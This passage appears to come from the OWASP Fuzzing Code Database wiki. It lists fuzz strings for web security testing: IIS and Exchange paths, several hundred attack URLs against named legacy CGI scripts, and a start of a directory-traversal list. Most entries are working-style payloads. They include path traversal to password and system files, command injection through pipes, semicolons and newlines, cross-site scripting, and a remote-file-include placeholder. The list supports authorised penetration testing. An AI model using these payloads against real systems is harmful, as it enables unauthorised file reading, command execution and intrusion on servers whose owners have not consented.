Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /citrix/AccessPlatform/auth/clientscripts/login.js <br /> <br /> <br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> 